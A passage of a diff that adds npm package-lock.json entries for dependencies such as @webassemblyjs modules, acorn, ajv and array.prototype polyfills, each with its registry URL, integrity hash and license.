8059+ "integrity": "sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==",
8060+ "license": "MIT",
8061+ "dependencies": {
8062+ "@webassemblyjs/ast": "1.14.1",
8063+ "@webassemblyjs/helper-buffer": "1.14.1",
8064+ "@webassemblyjs/helper-wasm-bytecode": "1.13.2",
8065+ "@webassemblyjs/helper-wasm-section": "1.14.1",
8066+ "@webassemblyjs/wasm-gen": "1.14.1",
8067+ "@webassemblyjs/wasm-opt": "1.14.1",
8068+ "@webassemblyjs/wasm-parser": "1.14.1",
8069+ "@webassemblyjs/wast-printer": "1.14.1"
8070+ }
8071+ },
8072+ "node_modules/@webassemblyjs/wasm-gen": {
8073+ "version": "1.14.1",
8074+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.14.1.tgz",
8075+ "integrity": "sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==",
8076+ "license": "MIT",
8077+ "dependencies": {
8078+ "@webassemblyjs/ast": "1.14.1",
8079+ "@webassemblyjs/helper-wasm-bytecode": "1.13.2",
8080+ "@webassemblyjs/ieee754": "1.13.2",
8081+ "@webassemblyjs/leb128": "1.13.2",
8082+ "@webassemblyjs/utf8": "1.13.2"
8083+ }
8084+ },
8085+ "node_modules/@webassemblyjs/wasm-opt": {
8086+ "version": "1.14.1",
8087+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.14.1.tgz",
8088+ "integrity": "sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==",
8089+ "license": "MIT",
8090+ "dependencies": {
8091+ "@webassemblyjs/ast": "1.14.1",
8092+ "@webassemblyjs/helper-buffer": "1.14.1",
8093+ "@webassemblyjs/wasm-gen": "1.14.1",
8094+ "@webassemblyjs/wasm-parser": "1.14.1"
8095+ }
8096+ },
8097+ "node_modules/@webassemblyjs/wasm-parser": {
8098+ "version": "1.14.1",
8099+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.14.1.tgz",
8100+ "integrity": "sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==",
8101+ "license": "MIT",
8102+ "dependencies": {
8103+ "@webassemblyjs/ast": "1.14.1",
8104+ "@webassemblyjs/helper-api-error": "1.13.2",
8105+ "@webassemblyjs/helper-wasm-bytecode": "1.13.2",
8106+ "@webassemblyjs/ieee754": "1.13.2",
8107+ "@webassemblyjs/leb128": "1.13.2",
8108+ "@webassemblyjs/utf8": "1.13.2"
8109+ }
8110+ },
8111+ "node_modules/@webassemblyjs/wast-printer": {
8112+ "version": "1.14.1",
8113+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.14.1.tgz",
8114+ "integrity": "sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==",
8115+ "license": "MIT",
8116+ "dependencies": {
8117+ "@webassemblyjs/ast": "1.14.1",
8118+ "@xtuc/long": "4.2.2"
8119+ }
8120+ },
8121+ "node_modules/@webgpu/types": {
8122+ "version": "0.1.68",
8123+ "resolved": "https://registry.npmjs.org/@webgpu/types/-/types-0.1.68.tgz",
8124+ "integrity": "sha512-3ab1B59Ojb6RwjOspYLsTpCzbNB3ZaamIAxBMmvnNkiDoLTZUOBXZ9p5nAYVEkQlDdf6qAZWi1pqj9+ypiqznA==",
8125+ "license": "BSD-3-Clause"
8126+ },
8127+ "node_modules/@xtuc/ieee754": {
8128+ "version": "1.2.0",
8129+ "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
8130+ "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==",
8131+ "license": "BSD-3-Clause"
8132+ },
8133+ "node_modules/@xtuc/long": {
8134+ "version": "4.2.2",
8135+ "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
8136+ "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==",
8137+ "license": "Apache-2.0"
8138+ },
8139+ "node_modules/abab": {
8140+ "version": "2.0.6",
8141+ "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz",
8142+ "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==",
8143+ "deprecated": "Use your platform's native atob() and btoa() methods instead",
8144+ "license": "BSD-3-Clause"
8145+ },
8146+ "node_modules/abstract-leveldown": {
8147+ "version": "2.6.3",
8148+ "resolved": "https://registry.npmjs.org/abstract-leveldown/-/abstract-leveldown-2.6.3.tgz",
8149+ "integrity": "sha512-2++wDf/DYqkPR3o5tbfdhF96EfMApo1GpPfzOsR/ZYXdkSmELlvOOEAl9iKkRsktMPHdGjO4rtkBpf2I7TiTeA==",
8150+ "deprecated": "Superseded by abstract-level (https://github.com/Level/community#faq)",
8151+ "license": "MIT",
8152+ "dependencies": {
8153+ "xtend": "~4.0.0"
8154+ }
8155+ },
8156+ "node_modules/accepts": {
8157+ "version": "1.3.8",
8158+ "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
8159+ "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
8160+ "license": "MIT",
8161+ "dependencies": {
8162+ "mime-types": "~2.1.34",
8163+ "negotiator": "0.6.3"
8164+ },
8165+ "engines": {
8166+ "node": ">= 0.6"
8167+ }
8168+ },
8169+ "node_modules/acorn": {
8170+ "version": "8.15.0",
8171+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz",
8172+ "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==",
8173+ "license": "MIT",
8174+ "bin": {
8175+ "acorn": "bin/acorn"
8176+ },
8177+ "engines": {
8178+ "node": ">=0.4.0"
8179+ }
8180+ },
8181+ "node_modules/acorn-globals": {
8182+ "version": "6.0.0",
8183+ "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz",
8184+ "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==",
8185+ "license": "MIT",
8186+ "dependencies": {
8187+ "acorn": "^7.1.1",
8188+ "acorn-walk": "^7.1.1"
8189+ }
8190+ },
8191+ "node_modules/acorn-globals/node_modules/acorn": {
8192+ "version": "7.4.1",
8193+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
8194+ "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==",
8195+ "license": "MIT",
8196+ "bin": {
8197+ "acorn": "bin/acorn"
8198+ },
8199+ "engines": {
8200+ "node": ">=0.4.0"
8201+ }
8202+ },
8203+ "node_modules/acorn-import-phases": {
8204+ "version": "1.0.4",
8205+ "resolved": "https://registry.npmjs.org/acorn-import-phases/-/acorn-import-phases-1.0.4.tgz",
8206+ "integrity": "sha512-wKmbr/DDiIXzEOiWrTTUcDm24kQ2vGfZQvM2fwg2vXqR5uW6aapr7ObPtj1th32b9u90/Pf4AItvdTh42fBmVQ==",
8207+ "license": "MIT",
8208+ "engines": {
8209+ "node": ">=10.13.0"
8210+ },
8211+ "peerDependencies": {
8212+ "acorn": "^8.14.0"
8213+ }
8214+ },
8215+ "node_modules/acorn-jsx": {
8216+ "version": "5.3.2",
8217+ "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
8218+ "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
8219+ "license": "MIT",
8220+ "peerDependencies": {
8221+ "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
8222+ }
8223+ },
8224+ "node_modules/acorn-walk": {
8225+ "version": "7.2.0",
8226+ "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz",
8227+ "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==",
8228+ "license": "MIT",
8229+ "engines": {
8230+ "node": ">=0.4.0"
8231+ }
8232+ },
8233+ "node_modules/address": {
8234+ "version": "1.2.2",
8235+ "resolved": "https://registry.npmjs.org/address/-/address-1.2.2.tgz",
8236+ "integrity": "sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA==",
8237+ "license": "MIT",
8238+ "engines": {
8239+ "node": ">= 10.0.0"
8240+ }
8241+ },
8242+ "node_modules/adjust-sourcemap-loader": {
8243+ "version": "4.0.0",
8244+ "resolved": "https://registry.npmjs.org/adjust-sourcemap-loader/-/adjust-sourcemap-loader-4.0.0.tgz",
8245+ "integrity": "sha512-OXwN5b9pCUXNQHJpwwD2qP40byEmSgzj8B4ydSN0uMNYWiFmJ6x6KwUllMmfk8Rwu/HJDFR7U8ubsWBoN0Xp0A==",
8246+ "license": "MIT",
8247+ "dependencies": {
8248+ "loader-utils": "^2.0.0",
8249+ "regex-parser": "^2.2.11"
8250+ },
8251+ "engines": {
8252+ "node": ">=8.9"
8253+ }
8254+ },
8255+ "node_modules/aes-js": {
8256+ "version": "3.0.0",
8257+ "resolved": "https://registry.npmjs.org/aes-js/-/aes-js-3.0.0.tgz",
8258+ "integrity": "sha512-H7wUZRn8WpTq9jocdxQ2c8x2sKo9ZVmzfRE13GiNJXfp7NcKYEdvl3vspKjXox6RIG2VtaRe4JFvxG4rqp2Zuw==",
8259+ "license": "MIT"
8260+ },
8261+ "node_modules/agent-base": {
8262+ "version": "6.0.2",
8263+ "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
8264+ "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
8265+ "license": "MIT",
8266+ "dependencies": {
8267+ "debug": "4"
8268+ },
8269+ "engines": {
8270+ "node": ">= 6.0.0"
8271+ }
8272+ },
8273+ "node_modules/agent-base/node_modules/debug": {
8274+ "version": "4.4.3",
8275+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
8276+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
8277+ "license": "MIT",
8278+ "dependencies": {
8279+ "ms": "^2.1.3"
8280+ },
8281+ "engines": {
8282+ "node": ">=6.0"
8283+ },
8284+ "peerDependenciesMeta": {
8285+ "supports-color": {
8286+ "optional": true
8287+ }
8288+ }
8289+ },
8290+ "node_modules/agent-base/node_modules/ms": {
8291+ "version": "2.1.3",
8292+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
8293+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
8294+ "license": "MIT"
8295+ },
8296+ "node_modules/ajv": {
8297+ "version": "6.12.6",
8298+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
8299+ "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
8300+ "license": "MIT",
8301+ "dependencies": {
8302+ "fast-deep-equal": "^3.1.1",
8303+ "fast-json-stable-stringify": "^2.0.0",
8304+ "json-schema-traverse": "^0.4.1",
8305+ "uri-js": "^4.2.2"
8306+ },
8307+ "funding": {
8308+ "type": "github",
8309+ "url": "https://github.com/sponsors/epoberezkin"
8310+ }
8311+ },
8312+ "node_modules/ajv-formats": {
8313+ "version": "2.1.1",
8314+ "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz",
8315+ "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==",
8316+ "license": "MIT",
8317+ "dependencies": {
8318+ "ajv": "^8.0.0"
8319+ },
8320+ "peerDependencies": {
8321+ "ajv": "^8.0.0"
8322+ },
8323+ "peerDependenciesMeta": {
8324+ "ajv": {
8325+ "optional": true
8326+ }
8327+ }
8328+ },
8329+ "node_modules/ajv-formats/node_modules/ajv": {
8330+ "version": "8.17.1",
8331+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
8332+ "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
8333+ "license": "MIT",
8334+ "dependencies": {
8335+ "fast-deep-equal": "^3.1.3",
8336+ "fast-uri": "^3.0.1",
8337+ "json-schema-traverse": "^1.0.0",
8338+ "require-from-string": "^2.0.2"
8339+ },
8340+ "funding": {
8341+ "type": "github",
8342+ "url": "https://github.com/sponsors/epoberezkin"
8343+ }
8344+ },
8345+ "node_modules/ajv-formats/node_modules/json-schema-traverse": {
8346+ "version": "1.0.0",
8347+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
8348+ "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
8349+ "license": "MIT"
8350+ },
8351+ "node_modules/ajv-keywords": {
8352+ "version": "3.5.2",
8353+ "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
8354+ "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
8355+ "license": "MIT",
8356+ "peerDependencies": {
8357+ "ajv": "^6.9.1"
8358+ }
8359+ },
8360+ "node_modules/ansi-escapes": {
8361+ "version": "4.3.2",
8362+ "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",
8363+ "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==",
8364+ "license": "MIT",
8365+ "dependencies": {
8366+ "type-fest": "^0.21.3"
8367+ },
8368+ "engines": {
8369+ "node": ">=8"
8370+ },
8371+ "funding": {
8372+ "url": "https://github.com/sponsors/sindresorhus"
8373+ }
8374+ },
8375+ "node_modules/ansi-escapes/node_modules/type-fest": {
8376+ "version": "0.21.3",
8377+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",
8378+ "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==",
8379+ "license": "(MIT OR CC0-1.0)",
8380+ "engines": {
8381+ "node": ">=10"
8382+ },
8383+ "funding": {
8384+ "url": "https://github.com/sponsors/sindresorhus"
8385+ }
8386+ },
8387+ "node_modules/ansi-html": {
8388+ "version": "0.0.9",
8389+ "resolved": "https://registry.npmjs.org/ansi-html/-/ansi-html-0.0.9.tgz",
8390+ "integrity": "sha512-ozbS3LuenHVxNRh/wdnN16QapUHzauqSomAl1jwwJRRsGwFwtj644lIhxfWu0Fy0acCij2+AEgHvjscq3dlVXg==",
8391+ "engines": [
8392+ "node >= 0.8.0"
8393+ ],
8394+ "license": "Apache-2.0",
8395+ "bin": {
8396+ "ansi-html": "bin/ansi-html"
8397+ }
8398+ },
8399+ "node_modules/ansi-html-community": {
8400+ "version": "0.0.8",
8401+ "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz",
8402+ "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==",
8403+ "engines": [
8404+ "node >= 0.8.0"
8405+ ],
8406+ "license": "Apache-2.0",
8407+ "bin": {
8408+ "ansi-html": "bin/ansi-html"
8409+ }
8410+ },
8411+ "node_modules/ansi-regex": {
8412+ "version": "5.0.1",
8413+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
8414+ "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
8415+ "license": "MIT",
8416+ "engines": {
8417+ "node": ">=8"
8418+ }
8419+ },
8420+ "node_modules/ansi-styles": {
8421+ "version": "4.3.0",
8422+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
8423+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
8424+ "license": "MIT",
8425+ "dependencies": {
8426+ "color-convert": "^2.0.1"
8427+ },
8428+ "engines": {
8429+ "node": ">=8"
8430+ },
8431+ "funding": {
8432+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
8433+ }
8434+ },
8435+ "node_modules/any-promise": {
8436+ "version": "1.3.0",
8437+ "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
8438+ "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==",
8439+ "license": "MIT"
8440+ },
8441+ "node_modules/anymatch": {
8442+ "version": "3.1.3",
8443+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
8444+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
8445+ "license": "ISC",
8446+ "dependencies": {
8447+ "normalize-path": "^3.0.0",
8448+ "picomatch": "^2.0.4"
8449+ },
8450+ "engines": {
8451+ "node": ">= 8"
8452+ }
8453+ },
8454+ "node_modules/anymatch/node_modules/picomatch": {
8455+ "version": "2.3.1",
8456+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
8457+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
8458+ "license": "MIT",
8459+ "engines": {
8460+ "node": ">=8.6"
8461+ },
8462+ "funding": {
8463+ "url": "https://github.com/sponsors/jonschlinkert"
8464+ }
8465+ },
8466+ "node_modules/append-field": {
8467+ "version": "1.0.0",
8468+ "resolved": "https://registry.npmjs.org/append-field/-/append-field-1.0.0.tgz",
8469+ "integrity": "sha512-klpgFSWLW1ZEs8svjfb7g4qWY0YS5imI82dTg+QahUvJ8YqAY0P10Uk8tTyh9ZGuYEZEMaeJYCF5BFuX552hsw==",
8470+ "license": "MIT"
8471+ },
8472+ "node_modules/arg": {
8473+ "version": "5.0.2",
8474+ "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
8475+ "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==",
8476+ "license": "MIT"
8477+ },
8478+ "node_modules/argparse": {
8479+ "version": "1.0.10",
8480+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
8481+ "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
8482+ "license": "MIT",
8483+ "dependencies": {
8484+ "sprintf-js": "~1.0.2"
8485+ }
8486+ },
8487+ "node_modules/aria-query": {
8488+ "version": "5.3.0",
8489+ "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz",
8490+ "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==",
8491+ "license": "Apache-2.0",
8492+ "dependencies": {
8493+ "dequal": "^2.0.3"
8494+ }
8495+ },
8496+ "node_modules/array-buffer-byte-length": {
8497+ "version": "1.0.2",
8498+ "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz",
8499+ "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==",
8500+ "license": "MIT",
8501+ "dependencies": {
8502+ "call-bound": "^1.0.3",
8503+ "is-array-buffer": "^3.0.5"
8504+ },
8505+ "engines": {
8506+ "node": ">= 0.4"
8507+ },
8508+ "funding": {
8509+ "url": "https://github.com/sponsors/ljharb"
8510+ }
8511+ },
8512+ "node_modules/array-flatten": {
8513+ "version": "1.1.1",
8514+ "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
8515+ "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==",
8516+ "license": "MIT"
8517+ },
8518+ "node_modules/array-includes": {
8519+ "version": "3.1.9",
8520+ "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz",
8521+ "integrity": "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==",
8522+ "license": "MIT",
8523+ "dependencies": {
8524+ "call-bind": "^1.0.8",
8525+ "call-bound": "^1.0.4",
8526+ "define-properties": "^1.2.1",
8527+ "es-abstract": "^1.24.0",
8528+ "es-object-atoms": "^1.1.1",
8529+ "get-intrinsic": "^1.3.0",
8530+ "is-string": "^1.1.1",
8531+ "math-intrinsics": "^1.1.0"
8532+ },
8533+ "engines": {
8534+ "node": ">= 0.4"
8535+ },
8536+ "funding": {
8537+ "url": "https://github.com/sponsors/ljharb"
8538+ }
8539+ },
8540+ "node_modules/array-union": {
8541+ "version": "2.1.0",
8542+ "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
8543+ "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==",
8544+ "license": "MIT",
8545+ "engines": {
8546+ "node": ">=8"
8547+ }
8548+ },
8549+ "node_modules/array.prototype.findlast": {
8550+ "version": "1.2.5",
8551+ "resolved": "https://registry.npmjs.org/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz",
8552+ "integrity": "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==",
8553+ "license": "MIT",
8554+ "dependencies": {
8555+ "call-bind": "^1.0.7",
8556+ "define-properties": "^1.2.1",
8557+ "es-abstract": "^1.23.2",
8558+ "es-errors": "^1.3.0",
8559+ "es-object-atoms": "^1.0.0",
8560+ "es-shim-unscopables": "^1.0.2"
8561+ },
8562+ "engines": {
8563+ "node": ">= 0.4"
8564+ },
8565+ "funding": {
8566+ "url": "https://github.com/sponsors/ljharb"
8567+ }
8568+ },
8569+ "node_modules/array.prototype.findlastindex": {
8570+ "version": "1.2.6",
8571+ "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz",
8572+ "integrity": "sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==",
8573+ "license": "MIT",
8574+ "dependencies": {
8575+ "call-bind": "^1.0.8",
8576+ "call-bound": "^1.0.4",
8577+ "define-properties": "^1.2.1",
8578+ "es-abstract": "^1.23.9",
8579+ "es-errors": "^1.3.0",
8580+ "es-object-atoms": "^1.1.1",
8581+ "es-shim-unscopables": "^1.1.0"
8582+ },
8583+ "engines": {
8584+ "node": ">= 0.4"
8585+ },
8586+ "funding": {
8587+ "url": "https://github.com/sponsors/ljharb"
8588+ }
8589+ },
8590+ "node_modules/array.prototype.flat": {
8591+ "version": "1.3.3",
8592+ "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz",
8593+ "integrity": "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==",
8594+ "license": "MIT",
8595+ "dependencies": {
8596+ "call-bind": "^1.0.8",
8597+ "define-properties": "^1.2.1",
8598+ "es-abstract": "^1.23.5",
8599+ "es-shim-unscopables": "^1.0.2"
8600+ },
8601+ "engines": {
8602+ "node": ">= 0.4"
8603+ },
8604+ "funding": {
8605+ "url": "https://github.com/sponsors/ljharb"
8606+ }
8607+ },
8608+ "node_modules/array.prototype.flatmap": {
8609+ "version": "1.3.3",
8610+ "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz",
8611+ "integrity": "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==",
8612+ "license": "MIT",
8613+ "dependencies": {
8614+ "call-bind": "^1.0.8",
8615+ "define-properties": "^1.2.1",
8616+ "es-abstract": "^1.23.5",
8617+ "es-shim-unscopables": "^1.0.2"
8618+ },
8619+ "engines": {
8620+ "node": ">= 0.4"
8621+ },
8622+ "funding": {
8623+ "url": "https://github.com/sponsors/ljharb"
8624+ }
8625+ },
8626+ "node_modules/array.prototype.reduce": {
8627+ "version": "1.0.8",
8628+ "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.8.tgz",
8629+ "integrity": "sha512-DwuEqgXFBwbmZSRqt3BpQigWNUoqw9Ml2dTWdF3B2zQlQX4OeUE0zyuzX0fX0IbTvjdkZbcBTU3idgpO78qkTw==",
8630+ "license": "MIT",
8631+ "dependencies": {
8632+ "call-bind": "^1.0.8",
8633+ "call-bound": "^1.0.4",
8634+ "define-properties": "^1.2.1",
8635+ "es-abstract": "^1.23.9",
8636+ "es-array-method-boxes-properly": "^1.0.0",
8637+ "es-errors": "^1.3.0",
8638+ "es-object-atoms": "^1.1.1",
8639+ "is-string": "^1.1.1"
8640+ },
8641+ "engines": {
8642+ "node": ">= 0.4"
8643+ },
8644+ "funding": {
8645+ "url": "https://github.com/sponsors/ljharb"
8646+ }
8647+ },
8648+ "node_modules/array.prototype.tosorted": {
8649+ "version": "1.1.4",
8650+ "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz",
8651+ "integrity": "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==",
8652+ "license": "MIT",
8653+ "dependencies": {
8654+ "call-bind": "^1.0.7",
8655+ "define-properties": "^1.2.1",
8656+ "es-abstract": "^1.23.3",
8657+ "es-errors": "^1.3.0",
8658+ "es-shim-unscopables": "^1.0.2"
8659+ },
8660+ "engines": {
8661+ "node": ">= 0.4"
8662+ }
8663+ },
8664+ "node_modules/arraybuffer.prototype.slice": {
8665+ "version": "1.0.4",
8666+ "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz",
8667+ "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==",
8668+ "license": "MIT",
8669+ "dependencies": {
8670+ "array-buffer-byte-length": "^1.0.1",
